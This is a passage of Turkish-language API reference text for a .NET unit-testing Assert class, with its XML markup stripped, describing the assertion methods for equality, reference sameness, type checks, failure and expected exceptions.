null. - - - - - Belirtilen dizenin null olup olmadığını test eder ve null ise bir özel durum - oluşturur. - - - Testte null olmaması beklenen nesne. - - - Şu durumda özel duruma dahil edilecek ileti - null. İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is null. - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı değil: . İleti test - sonuçlarında gösterilir. - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen her iki nesnenin de aynı nesneye başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvurmuyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte beklenen değerdir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynı değil: . İleti test - sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if does not refer to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if refers to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynıdır: . İleti test sonuçlarında - gösterilir. - - - Thrown if refers to the same object - as . - - - - - Belirtilen nesnelerin farklı nesnelere başvurup başvurmadığını test eder - ve iki giriş aynı nesneye başvuruyorsa bir özel durum oluşturur. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şununla aynıdır: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if refers to the same object - as . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if is not equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değer beklenir. - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen değerlerin eşit olup olmadığını test eder ve iki değer eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - The type of values to compare. - - - Karşılaştırılacak birinci değer. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci değer. Test kapsamındaki kod tarafından bu değer oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşit değilse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte beklenen nesnedir. - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen nesnelerin eşit olup olmadığını test eder ve iki nesne eşitse - bir özel durum oluşturur. Mantıksal değerleri eşit olsa bile - farklı sayısal türler eşit değil olarak kabul edilir. 42L, 42'ye eşit değildir. - - - Karşılaştırılacak birinci nesne. Testte bu değerin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci nesne. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci kayan nokta. Testte bu kayan nokta beklenir. - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to - . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen float'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak ilk kayan nokta. Testte bu kayan noktanın - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci kayan nokta. Test kapsamındaki kod tarafından bu nesne oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Thrown if is not equal to - . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşit değilse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çift beklenir. - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - şundan fazla: . - - - Şu durumda özel duruma dahil edilecek ileti - şundan farklıdır: şundan fazla: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen double'ların eşit olup olmadığını test eder ve eşitse - bir özel durum oluşturur. - - - Karşılaştırılacak birinci çift. Testte bu çiftin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci çift. Test kapsamındaki kod tarafından bu çift oluşturulur. - - - Gerekli doğruluk. Yalnızca şu durumlarda bir özel durum oluşturulur: - şundan farklı: - en fazla . - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: veya şu değerden daha az farklı: - . İleti test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşit değilse bir - özel durum oluşturur. - - - Karşılaştırılacak ilk dize. Testte bu dize beklenir. - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşit değil: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. Karşılaştırma için sabit kültür kullanılır. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen dizelerin eşit olup olmadığını test eder ve eşitse bir özel durum - oluşturur. - - - Karşılaştırılacak birinci dize. Testte bu dizenin eşleşmemesi - beklenir . - - - Karşılaştırılacak ikinci dize. Bu dize test kapsamındaki kod tarafından oluşturulur. - - - Büyük/küçük harfe duyarlı veya duyarsız bir karşılaştırmayı gösteren Boole değeri. (true - değeri büyük/küçük harfe duyarsız bir karşılaştırmayı belirtir.) - - - Kültüre özel karşılaştırma bilgileri veren bir CultureInfo nesnesi. - - - Şu durumda özel duruma dahil edilecek ileti - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is equal to . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneği değil: . İleti - test sonuçlarında gösterilir. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin beklenen türde bir örnek olup olmadığını test eder ve - beklenen tür, nesnenin devralma hiyerarşisinde değilse - bir özel durum oluşturur. - - - Testte belirtilen türde olması beklenen nesne. - - - Beklenen tür:. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneği değil: . İleti - test sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneğidir: . İleti test - sonuçlarında gösterilir. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Belirtilen nesnenin yanlış türde bir örnek olup olmadığını test eder - ve belirtilen tür nesnenin devralma hiyerarşisinde ise - bir özel durum oluşturur. - - - Testte beklenen türde olmaması beklenen nesne. - - - Tür olmamalıdır. - - - Şu durumda özel duruma dahil edilecek ileti - şunun bir örneğidir: . İleti test - sonuçlarında gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Bir AssertFailedException oluşturur. - - - Always thrown. - - - - - Bir AssertFailedException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Always thrown. - - - - - Bir AssertFailedException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Always thrown. - - - - - Bir AssertInconclusiveException oluşturur. - - - Always thrown. - - - - - Bir AssertInconclusiveException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Always thrown. - - - - - Bir AssertInconclusiveException oluşturur. - - - Özel duruma eklenecek ileti. İleti test sonuçlarında - gösterilir. - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Always thrown. - - - - - Statik eşit aşırı yüklemeler iki türün örneklerini başvuru eşitliği bakımından - karşılaştırmak için kullanılır. Bu metot iki örneği eşitlik bakımından karşılaştırmak için - kullanılmamalıdır. Bu nesne her zaman Assert.Fail ile oluşturulur. - Lütfen birim testlerinizde Assert.AreEqual ve ilişkili aşırı yüklemelerini kullanın. - - Nesne A - Nesne B - Her zaman false. - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Şu durumda özel duruma dahil edilecek ileti - şu türde bir özel durum oluşturmaz: . - - - Biçimlendirme sırasında kullanılacak parametre dizisi . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Oluşturulması beklenen özel durum türü. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa - - AssertFailedException - - oluşturur. - - - Test edilecek ve özel durum oluşturması beklenen kodun temsilcisi. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - Bir temsilciyi çalıştırıyor. - - - - - temsilcisi tarafından belirtilen kodun tam olarak belirtilen türündeki (türetilmiş bir türde olmayan) özel durumu - oluşturup oluşturmadığını test eder ve kod özel durum oluşturmuyorsa veya türünden başka bir türde özel durum oluşturuyorsa 